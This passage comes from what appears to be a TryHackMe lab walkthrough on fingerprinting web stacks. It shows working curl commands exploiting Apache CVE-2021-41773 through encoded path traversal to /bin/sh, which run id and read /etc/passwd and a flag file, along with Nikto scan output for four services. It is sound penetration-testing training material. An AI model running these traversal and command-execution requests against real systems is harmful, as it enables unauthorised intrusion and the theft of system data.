sync:x:4:65534:sync:/bin:/bin/sync
...
```

The first non-root account is the `daemon` account, which is the same user running the Apache process. This confirms the server is not running as `root`.

**Step 3: Read the Flag**

Terminal

```shell-session
root@tryhackme:~# curl -s --path-as-is "http://MACHINE_IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /flag.txt'
[REDACTED]
```

![](https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406 align="center")

**Info:** CVE-2021-41773 is version-specific. It affects Apache 2.4.49 only. A partial patch in 2.4.50 blocked single-encoded dots but not double-encoding CVE-2021-42013 tracks the bypass using `%%32%65%%32%65/`. Versions 2.4.51 and later are fully patched. Any `Server: Apache/2.4.49` or `Server: Apache/2.4.50` header is an immediate signal to reach for this CVE.

### Answer the questions below

What exact Server header value identifies this target as vulnerable to CVE-2021-41773? (Answer Format: Apache/X.X.XX (OS) `Apache/2.4.49 (Unix)`

What curl flag is required to prevent curl from normalising the traversal sequences in the URL before sending? `--path-as-is`

What are the contents of the flag.txt file? `THM{4p4ch3_p4th_REDACTED}`

```shell
curl -s --path-as-is "http://10.112.168.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
root@ip-10-112-70-220:~# curl -s --path-as-is "http://10.112.168.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
root@ip-10-112-70-220:~# curl -s --path-as-is "http://10.112.168.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /flag.txt'
THM{4p4ch3_p4th_REDACTED}
```

## Automation

Manual fingerprinting teaches you what signals matter and why. When you are working through a scope with many hosts, Nikto gives you a quick first pass; it probes each service, reads response headers, and surfaces stack signals and known misconfigurations without you writing a single payload.

### Scanning All Four Stacks

Run Nikto against each port in turn: MERN on port `3000`, Next.js on port `3001`, Django on port `8000`, and Apache on port `8080`.

**Port 3000 - MERN Stack**

```shell
root@tryhackme:~# nikto -h http://MACHINE_IP:3000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          MACHINE_IP
+ Target Hostname:    MACHINE_IP
+ Target Port:        3000
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Cookie connect.sid created without the httponly flag
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'content-security-policy' found, with contents: default-src 'none'
+ Allowed HTTP Methods: GET, HEAD
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
```

No `Server:` banner; Express does not send one by default. Two signals confirm the stack: `x-powered-by: Express` and the `connect.sid` session cookie. The missing `httponly` flag on the session cookie is a bonus finding.

**Port 3001 - Next.js**

```shell
root@tryhackme:~# nikto -h http://MACHINE_IP:3001

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          MACHINE_IP
+ Target Hostname:    MACHINE_IP
+ Target Port:        3001
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Next.js
+ Uncommon header 'x-nextjs-stale-time' found, with contents: 4294967294
+ Uncommon header 'x-nextjs-cache' found, with contents: HIT
+ Uncommon header 'x-nextjs-prerender' found, with contents: 1
+ Allowed HTTP Methods: HEAD
+ 6544 items checked: 0 error(s) and 19 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
```

`x-powered-by: Next.js` confirms the framework. The three `x-nextjs-*` headers confirm that the App Router is in production mode, the condition required for CVE-2025-29927 to apply.

**Port 8000 - Django**

```shell
root@tryhackme:~# nikto -h http://MACHINE_IP:8000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          MACHINE_IP
+ Target Hostname:    MACHINE_IP
+ Target Port:        8000
---------------------------------------------------------------------------
+ Server: WSGIServer/0.2 CPython/3.10.12
+ Uncommon header 'referrer-policy' found, with contents: same-origin
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
```

`WSGIServer/0.2 CPython/3.10.12` is a Django-specific server banner. The combination of `referrer-policy: same-origin` and `x-content-type-options: nosniff` together confirm Django's `SecurityMiddleware` is active.

**Port 8080 - Apache**

```shell
root@tryhackme:~# nikto -h http://MACHINE_IP:8080

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          MACHINE_IP
+ Target Hostname:    MACHINE_IP
+ Target Port:        8080
---------------------------------------------------------------------------
+ Server: Apache/2.4.49 (Unix)
+ Server leaks inodes via ETags, header found with file /
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

`Server: Apache/2.4.49 (Unix)` is a direct CVE-2021-41773 indicator. This is the most valuable finding Nikto produces across all four scans: an exact version number that maps to a known critical exploit.

Nikto identified the stack on every port in under a minute. For Apache, it also gave you the exact version, no further fingerprinting needed. For MERN and Django, the stack is confirmed, but Nikto has no templates for application-level injection flaws. That is where the manual techniques from Tasks 2 and 4 take over.

## Conclusion

You have fingerprinted four stacks and exploited four CVEs using the same three-step workflow every time: read the signals, confirm the version, execute the chain.

## **CVE Summary**

| **Stack** | **CVE** | **Impact** | **CVSS** |
| --- | --- | --- | --- |
| MERN / Express | CVE\-2020-8203 | Prototype pollution → auth bypass | 7.4 High |
| Next.js Middleware | CVE\-2025-29927 | Single header → full middleware bypass | 9.1 Critical |
| Django ORM | CVE\-2021-35042 | SQL injection via unparameterised `ORDER BY` | 9.8 Critical |
| Apache LAMP | CVE-2021-41773 | Path traversal + `mod_cgi` RCE | 9.8 Critical |

## **Key Takeaways**

Every stack leaks its identity. Once you can read those signals, you stop guessing and start targeting. That is the shift this room was built to provide you with. As a penetration tester, the focus should always be on understanding *why* a vulnerability exists before reaching for an exploit. Every signal you read, every header you inspect, and every version you confirm brings you closer to a targeted, evidence-driven attack chain rather than a noisy scanner run.

Stay tuned for more exciting rooms.
